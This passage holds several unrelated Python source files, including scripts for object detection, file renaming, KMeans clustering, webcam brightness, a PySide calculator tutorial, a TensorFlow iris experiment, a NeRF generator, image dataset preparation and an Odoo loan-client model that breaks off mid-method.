                    cv2.imshow('Object Detection', modified_frame)
                    if cv2.waitKey(1) & 0xFF == ord('q'):
                        break
            else:
                break

        if save_video:
            out.release()

    @staticmethod
    def print_timestamp(frame_count):
        '''Responsible for outputting a timestamp based the frame count'''

        if frame_count % 30 == 0:
            time_hours = int(frame_count / 108000)
            time_minutes = int(frame_count / 1800) % 60
            time_seconds = int((frame_count % 1800) / 30)

            print('Timestamp: ' + str(time_hours) + ':' + str(time_minutes) + ':' + str(time_seconds))


"""Rename some files. For example:

* PXL_YYYYMMDD_nnn.jpg becomes IMG_YYYYMMDD_nnn.jpg
* PXL_YYYYMMDD_nnn.NIGHT.jpg becomes IMG_YYYYMMDD_nnn.jpg
* PXL_YYYYMMDD_nnn.MP.jpg becomes IMG_YYYYMMDD_nnn_MV.jpg
* PXL_YYYYMMDD_nnn.mp4 becomes VID_YYYYMMDD_nnn.mp4

Usage::

    python rename_img_vid.py "D:\\My\\Windows\\Path" -v

"""
import glob
import os

__all__ = []

def undo_pxl(path, verbose=False):
    pxl_prefix = 'PXL_'
    for filetype, new_prefix in (('*.jpg', 'IMG_'), ('*.mp4', 'VID_')):
        for filepath in glob.iglob(os.path.join(path, filetype)):
            filename = os.path.basename(filepath)
            if filename.startswith(pxl_prefix):
                newname = os.path.join(
                    path, filename.replace(pxl_prefix, new_prefix))
                if not os.path.exists(newname):
                    os.rename(filepath, newname)
                    if verbose:
                        print(f'{filepath} -> {newname}')

def rename_suffix(path, from_suffix='.MP.jpg', to_suffix='_MV.jpg',
                  verbose=False):
    for filepath in glob.iglob(os.path.join(path, f'*{from_suffix}')):
        newname = filepath.replace(from_suffix, to_suffix)
        if not os.path.exists(newname):
            os.rename(filepath, newname)
            if verbose:
                print(f'{filepath} -> {newname}')

def append(path, ext, suffix, verbose=False):
    for filepath in glob.iglob(os.path.join(path, '*.' + ext)):
        s = filepath.split(f'.{ext}')
        newname = f'{s[0]}_{suffix}.{ext}'
        if not os.path.exists(newname):
            os.rename(filepath, newname)
            if verbose:
                print(f'{filepath} -> {newname}')

def prepend(path, suffix, prefix, verbose=False):
    for filepath in glob.iglob(os.path.join(path, '*.' + suffix)):
        filename = os.path.basename(filepath)
        if filename.startswith(prefix):
            continue
        newname = os.path.join(path, prefix + '_' + filename)
        if not os.path.exists(newname):
            os.rename(filepath, newname)
            if verbose:
                print(f'{filepath} -> {newname}')

def main(path, verbose=False):
    undo_pxl(path, verbose=verbose)
    rename_suffix(path, verbose=verbose)
    rename_suffix(path, from_suffix='.NIGHT.jpg', to_suffix='.jpg',
                  verbose=verbose)

if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description='Rename some files.')
    parser.add_argument('path', type=str, help='Path name')
    parser.add_argument('-v', '--verbose', action='store_true',
                        help='Verbose output')

    args = parser.parse_args()
    main(args.path, verbose=args.verbose)


import pandas as pd
import numpy as np

from sklearn.cluster import KMeans

from sklearn.metrics.cluster import adjusted_rand_score
from sklearn.metrics.cluster import homogeneity_completeness_v_measure

data = pd.read_pickle('/home/mluser/master8_projects/clustering_vacancies/data/corpus/df_vacancies_full_ru_42K_w2v.pkl')
vectors_name = 'w2v_300'

co = data[data.is_prog]

co_train = co[co.is_train].sample(4000)
co_test = co[co.is_test]

X_train = np.array(co_train[vectors_name])
X_train = X_train.tolist()

X_test = np.array(co_test[vectors_name])
X_test = X_test.tolist()

count = []
ars = []
hcv = []

for i in range(10, 101, 1):
    print('k = ' + str(i))
    model = KMeans(n_clusters=i, n_jobs=-1)
    model.fit(X_train)
    labels = model.predict(X_test)
    co_test['label_test'] = labels

    count.append(co_test.label_test.nunique())
    ars.append(adjusted_rand_score(co_test.label_true, co_test.label_test))
    hcv.append(homogeneity_completeness_v_measure(co_test.label_true, co_test.label_test))

hcv = np.array(hcv)
count = np.array(count)
ars = np.array(ars)

df = pd.DataFrame(hcv)
df['count'] = count
df['ars'] = ars

df.columns = ['homogeneity', 'completeness', 'v_measure', 'count', 'ars']
df['k'] = range(10, 101, 1)

co = df[['k', 'count', 'ars', 'homogeneity', 'completeness', 'v_measure']]
co.to_csv('/home/mluser/master8_projects/clustering_vacancies/results/df_vacancies_full_clusters_results_ru_prog_k.csv', index=False)

import seaborn as sns
import matplotlib.pyplot as plt

plt.clf()
sns.lineplot(x=co.k, y=co['count'])
plt.savefig('/home/mluser/master8_projects/clustering_vacancies/results/plots/clustering_KMeans_k_count.png', format='png', dpi=300)

plt.clf()
sns.lineplot(x=co.k, y=co.homogeneity, label='homogeneity')
sns.lineplot(x=co.k, y=co.completeness, label='completeness')
sns.lineplot(x=co.k, y=co.v_measure, label='v_measure')
sns.lineplot(x=co.k, y=co.ars, label='ars')
plt.savefig('/home/mluser/master8_projects/clustering_vacancies/results/plots/clustering_KMeans_k_metrics.png', format='png', dpi=300)


#!usr/bin/env python3
'''
    @author Matthew Hoeper
'''

import webcam, time
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt
import scipy.signal as signal

class MUCamera:

    def __init__(self):
        self.image = webcam.Webcam().grab_image()
        self.imdata = self.image.getdata()

    def image_intensity(self):
        pxlavg = []
        for i in list(self.imdata):
            pxlavg.append(np.mean(i))

        return np.mean(pxlavg)

    def moving_average(self):
        avg = []
        lst_time = []
        inital_time = time.time()
        while time.time() < inital_time+120: # May 29th, @ 8:30 am PST
                now = time.time()
                pxlavg = []

                for i in list(self.imdata):
                    pxlavg.append(np.mean(i))

                lst_time.append(now)
                avg.append(np.mean(pxlavg))
                time.sleep(1)

        t0 = lst_time[0]
        lst_time[:] = [x - t0 for x in lst_time]

        return lst_time, avg

    def filtered_average_intensity(self):
        # from https://docs.scipy.org/doc/scipy-1.0.0/reference/generated/scipy.signal.lfilter.html#scipy.signal.lfilter
        _, avg = self.moving_average()
        b, a = signal.butter(5, 0.025)
        zi = signal.lfilter_zi(b, a)
        z, _ = signal.lfilter(b, a, avg, zi=zi * avg[0])
        z2, _ = signal.lfilter(b, a, z, zi=zi * z[0])
        y = signal.filtfilt(b, a, avg)
        return y

    def intensity_plot(self):
        lst_time, avg = self.moving_average()
        y = self.filtered_average_intensity()

        plt.plot(lst_time, avg, 'k', lst_time, y, 'r--')
        plt.xlabel('Minutes (min)')
        plt.ylabel('Average Intensity')
        plt.legend(('Noisy Signal', 'Filtered Signal'), loc='best')
        plt.show()

    def daytime(self, threshold=80):
        intensity = self.image_intensity()

        if intensity < threshold:
            return False
        else:
            return True

    def common_color():
        image = webcam.Webcam().grab_image()
        pixels = mu_live.getcolors()

        most_frequent_pixel = pixels[0]

        # for count, colour in pixels:
        #     if count > most_frequent_pixel[0]:
        #         most_frequent_pixel = (count, colour)

        return most_frequent_pixel

if __name__ == '__main__':
    test = MUCamera()
    print(test.image_intensity())


# -*- coding:utf-8 -*-
__author__ = 'Kyuho Choi'

import sys
from PySide.QtGui import *
from PySide.QtCore import *
from math import *

class Form(QDialog):
    '''QDialog예제'''
    def __init__(self, parent=None):
        super(Form,self).__init__(parent) #언제나 이렇게 시작

        #위젯
        self.browser  = QTextBrowser()
        self.lineedit = QLineEdit('Type an expression and press Enter')
        self.lineedit.selectAll()

        #위젯 레이아웃
        layout = QVBoxLayout()
        layout.addWidget(self.browser)
        layout.addWidget(self.lineedit)
        layout.setSpacing(0)
        self.setLayout(layout)

        #커서 포커싱
        self.lineedit.setFocus()

        #명령어
        self.connect(self.lineedit, SIGNAL('returnPressed()'), self.updateUI)

        #조정
        self.setWindowTitle('Calculate')

    def updateUI(self):
        '''버튼명령어'''
        try:
            text = self.lineedit.text()
            self.browser.append('%s = %s'%(text,eval(text)))
        except:
            self.browser.append('%s is invalid'%text)

try:
    #<<마야에서 이 라인은 사용하지 않음>>
    import maya.OpenMayaUI as omui
    import shiboken

    mayaMainWindowPtr = omui.MQtUtil.mainWindow()
    mayaMainWindow    = shiboken.wrapInstance( long(mayaMainWindowPtr), QWidget ) # QtGui.QWidget
    app = QApplication( sys.argv )
except:
    app = QApplication( sys.argv )
    mayaMainWindow = None

form = Form( mayaMainWindow )
form.show()

try:
    #<<마야에서 이 라인은 사용하지 않음>>
    app.exec_()
except:
    pass

maya/PySide_Note/tutorial_02_Creating an Expression Evaluator.py


#
# Chapter 6, example 3b
#

from sklearn import datasets
import numpy as np
import tensorflow as tf
import pylab as plt

import os
if not os.path.isdir('figures'):
    print('creating the figures folder')
    os.makedirs('figures')

no_iters = 1000
no_labels = 3
no_features = 4
no_exps = 25
no_folds = 3
hidden_units = [2, 4, 6, 8, 10, 12]

seed = 10

tf.set_random_seed(seed)
np.random.seed(seed)

def ffn(x, no_hidden):

  # Hidden
  with tf.name_scope('hidden'):
    weights = tf.Variable(
      tf.truncated_normal([no_features, no_hidden],
                            stddev=1.0 / np.sqrt(float(no_features))),
        name='weights')
    biases = tf.Variable(tf.zeros([no_hidden]),
                         name='biases')
    hidden = tf.nn.relu(tf.matmul(x, weights) + biases)

  # output
  with tf.name_scope('linear'):
    weights = tf.Variable(
        tf.truncated_normal([no_hidden, no_labels],
                            stddev=1.0 / np.sqrt(float(no_hidden))),
        name='weights')
    biases = tf.Variable(tf.zeros([no_labels]),
                         name='biases')
    logits = tf.matmul(hidden, weights) + biases

  return logits

def train_exp(X, Y):

    x_test, y_test = X[:30], Y[:30]
    XX, YY = X[30:], Y[30:]

    mean_err = []
    for no_hidden in hidden_units:

        x = tf.placeholder(tf.float32, [None, no_features])
        y_ = tf.placeholder(tf.float32, [None, no_labels])

        y = ffn(x, no_hidden)

        # Create the model
        cross_entropy = tf.reduce_mean(
            tf.nn.softmax_cross_entropy_with_logits_v2(labels=y_, logits=y))

        error = tf.reduce_sum(tf.cast(tf.not_equal(tf.argmax(y, axis=1), tf.argmax(y_, axis=1)), dtype=tf.int32))

        train = tf.train.GradientDescentOptimizer(0.05).minimize(cross_entropy)

        err = []
        for fold in range(no_folds):
            start, end = fold*40, (fold+1)*40
            x_valid, y_valid = XX[start:end], YY[start:end]
            x_train  = np.append(XX[:start], XX[end:], axis=0)
            y_train = np.append(YY[:start], YY[end:], axis=0)

            # train
            with tf.Session() as sess:
                tf.global_variables_initializer().run()

                for i in range(no_iters):
                    train.run(feed_dict={x:x_train, y_: y_train})

                err.append(error.eval(feed_dict={x:x_valid, y_:y_valid}))

        mean_err.append(np.mean(err))

        print('hidden units %d mean error = %g'% (no_hidden, np.mean(err)))

    no_hidden = hidden_units[np.argmin(mean_err)]

    x_train, y_train = XX, YY

    x = tf.placeholder(tf.float32, [None, no_features])
    y_ = tf.placeholder(tf.float32, [None, no_labels])

    y = ffn(x, no_hidden)

    # Create the model
    cross_entropy = tf.reduce_mean(
        tf.nn.softmax_cross_entropy_with_logits_v2(labels=y_, logits=y))

    error = tf.reduce_sum(tf.cast(tf.not_equal(tf.argmax(y, axis=1), tf.argmax(y_, axis=1)), dtype=tf.int32))

    train = tf.train.GradientDescentOptimizer(0.05).minimize(cross_entropy)

    with tf.Session() as sess:
        tf.global_variables_initializer().run()

        for i in range(no_iters):
            train.run(feed_dict={x:x_train, y_: y_train})
        err = error.eval(feed_dict={x:x_test, y_:y_test})

    return no_hidden, err

def main():

    # input data
    iris = datasets.load_iris()
    iris.data -= np.mean(iris.data, axis=0)
    n = iris.data.shape[0]

    print(iris.target.shape)

    X = iris.data
    no_data = len(iris.data)
    Y = np.zeros((no_data, no_labels))
    for i in range(no_data):
        Y[i, iris.target[i]] = 1

    no_hidden, err = [], []
    for exp in range(no_exps):

        idx = np.arange(n)
        np.random.shuffle(idx)

        no_hidden_, err_ = train_exp(X[idx], Y[idx])

        no_hidden.append(no_hidden_)
        err.append(err_)
        print('exp %d hidden units %d error %g'%(exp, no_hidden[exp], err[exp]))

    hidden_counts = np.zeros(len(hidden_units))
    for exp in range(no_exps):
        hidden_counts[no_hidden[exp]//2-1] += 1

    print(hidden_counts)
    print('* %d *'%hidden_units[np.argmax(hidden_counts)])

    print('error = %g'%np.mean(err))

    plt.figure(1)
    plt.plot(range(no_exps), no_hidden, marker = 'x', linestyle = 'None')
    plt.yticks(hidden_units)
    plt.xticks(range(no_exps), np.arange(no_exps)+1)
    plt.xlabel('experiment')
    plt.ylabel('optimum number of hidden units')

    plt.savefig('./figures/6.3b_1.png')

    plt.figure(2)
    plt.plot(range(no_exps), err, marker = 'x', linestyle = 'None')
    plt.xticks(range(no_exps), np.arange(no_exps)+1)
    plt.xlabel('experiment')
    plt.ylabel('test error')

    plt.savefig('./figures/6.3b_2.png')

    plt.show()

if __name__ == '__main__':
    main()


'''
Created on Apr 21, 2014

@author: kraljevic
'''

class Dokument(object):
    '''
    classdocs
    '''

    def __init__(self, params):
        '''
        Constructor
        '''
        self.agregirani={}
        self.nizNizova = {}

    def setPodaci(self, frejmovi):
        self.agregirani = {}
        self.nizNizova = {}
        # autovalidacija i agregiranje
        for i in list(frejmovi):
            # agregator mora biti unutar petlje ili ga treba inicijalizirati za
            # svaku komponentu unutar petlje jer nacelno nije isti validator za
            # svaku komponentu.
            # Ako je unutar petlje onda ne treba biti member varijable, a ako postoji
            # dobar razlog da bude member (a postoji zbog ragregacije) onda mora biti
            # mapa (komponenta, agregator)
            ag = agregator.Agregator(listaUredjaja)  # izbaciti izvan petlje?
            autoValidator.validiraj(self.data[i])
            ag.setDataFrame(self.data[i])
            self.agregirani[i] = ag.agregirajNiz()
            self.nizNizova[i] = ag.nizNiz()


from collections import OrderedDict
import tqdm
import random
import time
# from einops.layers.torch import Rearrange
from einops import rearrange, repeat
import numpy as np

import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.cuda.amp import autocast

from tl2.proj.fvcore import MODEL_REGISTRY, build_model
from tl2.proj.stylegan2_ada import persistence
from tl2.launch.launch_utils import global_cfg
from tl2.proj.pytorch.pytorch_hook import VerboseModel
from tl2.proj.pytorch import torch_utils

from exp.pigan import pigan_utils
from exp.pigan.pigan_utils import FiLMLayer
# from exp.pigan.models.volumetric_rendering import *
from exp.pigan.models.siren import \
  (CustomMappingNetwork, frequency_init, first_layer_film_sine_init, UniformBoxWarp)
from exp.dev.nerf_inr.models.generator_nerf_inr import INRNetwork
from exp.dev.nerf_inr.models.generator_nerf_inr import GeneratorNerfINR as GeneratorNerfINR_base

class NeRFNetwork(nn.Module):
  """Same architecture as TALLSIREN but adds a UniformBoxWarp to map input points to -1, 1"""

  def __init__(self,
               z_dim=100,
               hidden_dim=256,
               rgb_dim=3,
               device=None,
               name_prefix='nerf',
               **kwargs):
    """

    :param z_dim:
    :param hidden_dim:
    :param rgb_dim:
    :param device:
    :param kwargs:
    """
    super().__init__()
    self.device = device
    self.z_dim = z_dim
    self.hidden_dim = hidden_dim
    self.rgb_dim = rgb_dim
    self.name_prefix = name_prefix

    self.xyz_emb = pigan_utils.PosEmbedding(max_logscale=9, N_freqs=10)
    dim_xyz_emb = self.xyz_emb.get_out_dim()
    # self.dir_emb = pigan_utils.PosEmbedding(max_logscale=3, N_freqs=4)
    # dim_dir_emb = self.dir_emb.get_out_dim()

    self.style_dim_dict = {}

    self.network = nn.ModuleList([
      # FiLMLayer(3, hidden_dim),
      FiLMLayer(dim_xyz_emb, hidden_dim),
      FiLMLayer(hidden_dim, hidden_dim),
      # FiLMLayer(hidden_dim, hidden_dim),
      # FiLMLayer(hidden_dim, hidden_dim),
      # FiLMLayer(hidden_dim, hidden_dim),
      # FiLMLayer(hidden_dim, hidden_dim),
      # FiLMLayer(hidden_dim, hidden_dim),
      # FiLMLayer(hidden_dim, hidden_dim),
    ])
    self.network.apply(frequency_init(25))
    self.network[0].apply(first_layer_film_sine_init)
    self.style_dim_dict[f'{name_prefix}_network'] = len(self.network) * hidden_dim * 2

    self.final_layer = nn.Linear(hidden_dim, 1)
    self.final_layer.apply(frequency_init(25))

    self.color_layer_sine = FiLMLayer(hidden_dim, hidden_dim)
    self.color_layer_sine.apply(frequency_init(25))
    self.style_dim_dict[f'{name_prefix}_color_layer_sine'] = hidden_dim * 2

    self.color_layer_linear = nn.Sequential(
      nn.Linear(hidden_dim, rgb_dim),
      # nn.Sigmoid()
    )
    self.color_layer_linear.apply(frequency_init(25))

    self.dim_styles = sum(self.style_dim_dict.values())
    # self.mapping_network = CustomMappingNetwork(z_dim, 256, (len(self.network) + 1) * hidden_dim * 2)

    # Don't worry about this, it was added to ensure compatibility with another model.
    # Shouldn't affect performance.
    self.gridwarper = UniformBoxWarp(0.24)

    self.print_number_params()
    pass

  def forward(self,
              input,
              style_dict,
              ray_directions,
              **kwargs):
    """

    :param input: points xyz, (b, num_points, 3)
    :param style_dict:
    :param ray_directions: (b, num_points, 3)
    :param kwargs:
    :return:
    - out: (b, num_points, 4), rgb(3) + sigma(1)
    """

    out = self.forward_with_frequencies_phase_shifts(
      input=input,
      style_dict=style_dict,
      ray_directions=ray_directions,
      **kwargs)

    return out

  def print_number_params(self):
    print()
    torch_utils.print_number_params({
                                     'network': self.network,
                                     'final_layer': self.final_layer,
                                     'color_layer_sine': self.color_layer_sine,
                                     'color_layer_linear': self.color_layer_linear,
                                     'nerf_net': self})
    pass

  def get_freq_phase(self, style_dict, name):
    styles = style_dict[name]
    styles = rearrange(styles, "b (n d) -> b d n", n=2)
    frequencies, phase_shifts = styles.unbind(-1)
    frequencies = frequencies * 15 + 30
    return frequencies, phase_shifts

  def forward_with_frequencies_phase_shifts(self,
                                            input,
                                            style_dict,
                                            ray_directions,
                                            **kwargs):
    """

    :param input: (b, n, 3)
    :param style_dict:
    :param ray_directions:
    :param kwargs:
    :return:
    """

    if global_cfg.tl_debug:
      VerboseModel.forward_verbose(nn.Sequential(OrderedDict([('gridwarper', self.gridwarper),
                                                              ('xyz_emb', self.xyz_emb)])),
                                   inputs_args=(input,),
                                   name_prefix="xyz.")
    input = self.gridwarper(input)
    xyz_emb = self.xyz_emb(input)

    x = xyz_emb
    frequencies, phase_shifts = self.get_freq_phase(style_dict=style_dict, name=f"{self.name_prefix}_network")
    for index, layer in enumerate(self.network):
      start = index * self.hidden_dim
      end = (index + 1) * self.hidden_dim

      if global_cfg.tl_debug:
        VerboseModel.forward_verbose(layer,
                                     inputs_args=(x,
                                                  frequencies[..., start:end],
                                                  phase_shifts[..., start:end]),
                                     name_prefix=f"network.{index}.")
      x = layer(x,
                frequencies[..., start:end],
                phase_shifts[..., start:end])

    if global_cfg.tl_debug:
      VerboseModel.forward_verbose(self.final_layer,
                                   inputs_args=(x,),
                                   name_prefix="final_layer")
    sigma = self.final_layer(x)

    # rgb branch
    frequencies, phase_shifts = self.get_freq_phase(
      style_dict=style_dict, name=f"{self.name_prefix}_color_layer_sine")
    if global_cfg.tl_debug:
      VerboseModel.forward_verbose(self.color_layer_sine,
                                   inputs_args=(x,
                                                frequencies,
                                                phase_shifts),
                                   name_prefix=f"color_layer_sine.")
    rbg_sine = self.color_layer_sine(
      x,
      frequencies,
      phase_shifts)

    if global_cfg.tl_debug:
      VerboseModel.forward_verbose(self.color_layer_linear,
                                   inputs_args=(rbg_sine,),
                                   name_prefix='color_layer_linear.')
    # rbg = torch.sigmoid(self.color_layer_linear(rbg))
    rbg = self.color_layer_linear(rbg_sine)

    out = torch.cat([rbg, sigma], dim=-1)
    return out

  def staged_forward(self,
                     transformed_points,
                     transformed_ray_directions_expanded,
                     style_dict,
                     max_points,
                     num_steps,
                     ):

    batch_size, num_points, _ = transformed_points.shape

    rgb_sigma_output = torch.zeros((batch_size, num_points, self.rgb_dim + 1),
                                   device=self.device)
    for b in range(batch_size):
      head = 0
      while head < num_points:
        tail = head + max_points
        rgb_sigma_output[b:b + 1, head:tail] = self(
          input=transformed_points[b:b + 1, head:tail],  # (b, h x w x s, 3)
          style_dict={name: style[b:b + 1] for name, style in style_dict.items()},
          ray_directions=transformed_ray_directions_expanded[b:b + 1, head:tail])
        head += max_points
    rgb_sigma_output = rearrange(rgb_sigma_output, "b (hw s) rgb_sigma -> b hw s rgb_sigma", s=num_steps)
    return rgb_sigma_output

@MODEL_REGISTRY.register(name_prefix=__name__)
# @persistence.persistent_class
class GeneratorNerfINR(GeneratorNerfINR_base):
  def __init__(self,
               z_dim,
               nerf_cfg,
               inr_cfg,
               mapping_cfg,
               **kwargs):
    super(GeneratorNerfINR_base, self).__init__()

    self.z_dim = z_dim
    self.siren = NeRFNetwork(z_dim=self.z_dim,
                             device=None,
                             **nerf_cfg)
    # self.siren = build_model(cfg=siren_cfg, output_dim=4, z_dim=self.z_dim, input_dim=3, device=None)

    self.inr_net = INRNetwork(**{**inr_cfg,
                                 "input_dim": self.siren.rgb_dim})

    self.style_dim_dict = {}
    self.style_dim_dict.update(self.siren.style_dim_dict)
    self.style_dim_dict.update(self.inr_net.style_dim_dict)

    self.mapping_network = pigan_utils.MultiHeadMappingNetwork(
      **{**mapping_cfg,
         'z_dim': z_dim,
         'head_dim_dict': self.style_dim_dict,
         })

    self.print_number_params()

    self.epoch = 0
    self.step = 0
    pass


# -*- coding: utf-8 -*-
"""
Created on Tue May 16 05:58:18 2017

@author: agoswami
"""
import os
from scipy.misc import imread, imsave, imresize
from os import listdir
from os.path import isfile, join
import random
import shutil
import matplotlib.pyplot as plt
import uuid as uuid

images_raw_path = "images_raw/"
images_cooked_train_path    = "images_cooked_train/"
images_cooked_val_path      = "images_cooked_val/"
images_cooked_test_path     = "images_cooked_test/"

#delete cooked directories if they exist
if os.path.exists(images_cooked_train_path):
    shutil.rmtree(images_cooked_train_path)

if os.path.exists(images_cooked_val_path):
    shutil.rmtree(images_cooked_val_path)

if os.path.exists(images_cooked_test_path):
    shutil.rmtree(images_cooked_test_path)

images_cooked_train_metadata_filename   = "images_cooked_train_metadata.txt"
images_cooked_val_metadata_filename     = "images_cooked_val_metadata.txt"
images_cooked_test_metadata_filename    = "images_cooked_test_metadata.txt"

labelsDict = {
    "burger" : 0,
    "fries" : 1,
    "burrito" : 2,
    "lasagna" : 3,
    "pizza" : 4,
    "pasta" : 5,
    "biryani" : 6,
    "sushi" : 7,
    "ramen" : 8,
    "naan" : 9,
    "sandwich" : 10,
    "dumplings" : 11,
    "icecream" : 12,
    "roastturkey" : 13,
    "dal" : 14,
    "bratwurst": 15,
    "padthai" : 16,
    "friedrice" : 17,
    "samosa" : 18,
    "cordonbleu" : 19,
}

#labelsDict = {
#    "cats" : 0,
#    "dogs" : 1,
#    "giraffe" : 2,
#}

with open(images_cooked_train_metadata_filename, "w") as f_train, \
   open(images_cooked_val_metadata_filename, "w") as f_val, \
   open(images_cooked_test_metadata_filename, "w") as f_test:

    for label in labelsDict:
        skipped_exceptionerror = 0
        skipped_resizeerror = 0
        skipped_not = 0

        images_raw_path_withlabel = images_raw_path + label

        if(os.path.isdir(images_raw_path_withlabel) == False):
            continue

        filenames = [f for f in listdir(images_raw_path_withlabel) if isfile(join(images_raw_path_withlabel, f))]
#        print(filenames)

        for fname in filenames:
            file_raw = images_raw_path_withlabel + "/" + fname

#with gzip.open(file, 'rb') as in_file:
#    s = in_file.read()
#
## Now store the uncompressed data
#path_to_store = file[:-3]  # remove the '.gz' from the filename
#
## store uncompressed file data from 's' variable
#with open(path_to_store, 'wb') as f:
#    f.write(s)

#            img = imread(file_raw)
            try:
                img = imread(file_raw)
                imgresize = imresize(img, (32, 32))
            except:
#                print("continuing..1")
                skipped_exceptionerror += 1
                continue

            if (imgresize.shape != (32,32,3)):
#                print("continuing..2")
                skipped_resizeerror += 1
                continue

            skipped_not += 1
            _r = random.random()
#            print("{0}:{1}".format(label, skipped_not))

            if (_r < 0.7):
#               save resized image in 'images_cooked_train' folder, and make entry in metadata file
                file_new = images_cooked_train_path + label + '/' + str(uuid.uuid4()) + ".jpg"
                file_new_dir = os.path.dirname(file_new)
                if not os.path.exists(file_new_dir):
                    os.makedirs(file_new_dir)

                imsave(file_new, imgresize)
                f_train.write(str(labelsDict[label]) + "," + label + "," + file_new + "\n")

            elif (_r > 0.7 and _r < 0.9):
                file_new = images_cooked_val_path + label + '/' + str(uuid.uuid4()) + ".jpg"
                file_new_dir = os.path.dirname(file_new)
                if not os.path.exists(file_new_dir):
                    os.makedirs(file_new_dir)

                imsave(file_new, imgresize)
                f_val.write(str(labelsDict[label]) + "," + label + "," + file_new + "\n")

            else:
                file_new = images_cooked_test_path + label + '/' + str(uuid.uuid4()) + ".jpg"
                file_new_dir = os.path.dirname(file_new)
                if not os.path.exists(file_new_dir):
                    os.makedirs(file_new_dir)

                imsave(file_new, imgresize)
                f_test.write(str(labelsDict[label]) + "," + label + "," + file_new + "\n")

#            print("{0}:{1}".format(file_raw, file_new))

        print("{0}:{1}:{2}:{3}".format(label, skipped_exceptionerror, skipped_resizeerror, skipped_not))


import twython
import logging

class twytbot:
    def __init__(self, key, secret, acctok, sectok):
        self.KEY = key
        self.SECRET = secret
        self.ACCESS_TOKEN = acctok
        self.SECRET_TOKEN = sectok
        self.twitter = None

    def authentificate(self):
        self.twitter = twython.Twython(self.KEY, self.SECRET, self.ACCESS_TOKEN, self.SECRET_TOKEN)
        try:
            self.twitter.verify_credentials()
        except Exception as e:
            logging.warn("Twitter log failed %s" % e)


# -*- coding: utf-8 -*-
from __future__ import division
import math

#comece abaixo
n=input('Digite a quantidade de valores: ')
a=[]
s=0
for i in range (0,n,1):
    a.append(input('Digite o valor: '))
for i in range (0,n,1):
    s=s+a[i]
med=s/n
soma=0
for i in range (0,n,1):
    soma=((a[i]-med)**2)+soma
desviop=((1/(n-1))*soma)**0.5
med=s/n
print('%.2f'%a[0])
print('%.2f'%a[n-1])
print('%.2f'%med)
print(a)
print('%.2f'%desviop)


import sys
from heapq import heappop, heappush
from operator import itemgetter
from collections import deque, defaultdict, Counter
from bisect import bisect_left, bisect_right
input = sys.stdin.readline
sys.setrecursionlimit(10 ** 7)
MOD = 10**9 + 7
INF = float('inf')

def sol():
    S = input().rstrip()
    cntS = Counter(S)

    center = 0
    even = 0

    for _, cnt in cntS.items():
        if cnt % 2 == 0:
            even += cnt
        else:
            center += 1
            even += cnt - 1

    if center == 0:
        ans = even
    else:
        ans = even // (2 * center) * 2 + 1

    print(ans)

sol()


import sys

#A little more complicated than Kangaroo and Apple & Orange. Keep track of edge cases
n,m = input().strip().split(' ')
n,m = [int(n),int(m)]
a = [int(a_temp) for a_temp in input().strip().split(' ')]
b = [int(b_temp) for b_temp in input().strip().split(' ')]

final = 0
for i in range(max(a), min(b) + 1):
    for j in a:
        if i%j != 0:
            break
    else:
        for x in b:
            if x % i != 0:
                break
        else:
            final += 1

print(final)


# -*- coding: utf-8 -*-

from odoo import models, fields, api
from odoo import tools, _
from odoo.exceptions import ValidationError
import logging

_logger = logging.getLogger(__name__)
class ResPartnerSuffix(models.Model):
    _name = 'res.partner.suffix'
    _rec_name = 'name'
    _inherit = ['mail.thread']

    _mail_post_access = 'read'

    _sql_constraints = [('unique_name', 'unique(name)', 'Suffix Already exists.')]
    name = fields.Char(string="Suffix", required=True, index=True)
    shortcut = fields.Char(string="Abbreviation", required=True)

    @api.constrains('name')
    def _validate_name(self):
        id = self.id
        name = self.name
        res = self.search([['name', '=ilike', name], ['id', '!=', id]])
        if res:
            raise ValidationError(_("Suffix Name already exists."))

    @api.constrains('shortcut')
    def _validate_name(self):
        id = self.id
        shortcut = self.shortcut
        res = self.search([['shortcut', '=ilike', shortcut], ['id', '!=', id]])
        if res:
            raise ValidationError(_("Suffix Abbreviation already exists."))

class LoanClient(models.Model):
    _inherit = 'res.partner'

    display_name = fields.Char(compute='_compute_display_name', store=True, index=True)
    code = fields.Char(readonly=True)
    short_code = fields.Char(readonly=True)
    index = fields.Integer()
    type = fields.Selection(selection_add=[('member','Member'),
                             ('do','Development Officer'),
                             ('ds','Development Supervisor'),
                             ('ao','Account Officer'),
                             ('as','Account Supervisor'),
                             ('aa','Admin Assistant'),
                             ('bm','Branch Manager'),
                             ('gm','General Manager')], default='member', string='User Type')
    type_str = fields.Char(default=lambda self:self.default_type())
    branch_id = fields.Many2one('res.branch','Branch', required_if_type=['bm','aa','as','ao','ds','do'],default= lambda self: self.default_branch(), store=True)
    area_id = fields.Many2one('res.area','Area', required_if_type='do')
    area = fields.Char(related='area_id.name', string='Area')
    supervisor_id = fields.Many2one('res.partner','Supervisor', domain=[('type','in',['ds','as','aa','bm','gm'])])
    email = fields.Char(required=True)
    mobile = fields.Char(required=True)
    employees = fields.One2many('res.partner', 'parent_id', 'Employees',default=lambda self:self.child_ids, domain=[('type','!=','member')])
    members = fields.One2many('res.partner', 'parent_id', 'Members', default=lambda self:self.child_ids, domain=[('type','=','member')])

    @api.depends('name')
    def _compute_display_name(self):
        for partner in self:
            partner.display_name = partner.name

    @api.onchange('type')
    def _set_type(self):
        self.type_str = dict(self._fields['type'].selection).get(self.type)

    @api.multi
    def default_type(self):
        return dict(self._fields['type'].selection).get(self.type)

    @api.multi
    def default_branch(self):
        if self.type == 'do':
            return self.parent_id.branch_id
        else:
            return self.env['res.branch'].search([('street2','=',self.street2),('city','=', self.city)], limit=1)

    @api.onchange('street2', 'city', 'type')
    def _get_branch(self):
        if self.type == 'member':
            self.branch_id = self.env['res.branch'].search([('street2','=',self.street2),('city','=', self.city)], limit=1)
        elif self.type == 'gm':
            self.branch_id = None
        else:
            self.branch_id = self.parent_id.branch_id

    @api.model
    def create(self, values):

        if not values['is_company']:
            group = self.env['res.groups'].sudo().search([('name', '=', values.get('type_str'))], limit=1)
            values['index'] = int(self.search([('type', '=', values.get('type'))], order='index desc', limit=1).index) + 1
            values['employee'] = True
            values['customer'] = False
            if values['type'] == 'gm':
                company = self.env['res.company'].search([('id', '=', values.get('company_id'))], limit=1)

                values['code'] = '%s' % ("{0:0=2d}".format(values['index']))
                values['short_code'] = '%s' % ("{0:0=2d}".format(values['index']))
                parent = company.partner_id
                values['parent_id'] = parent.id

            else:
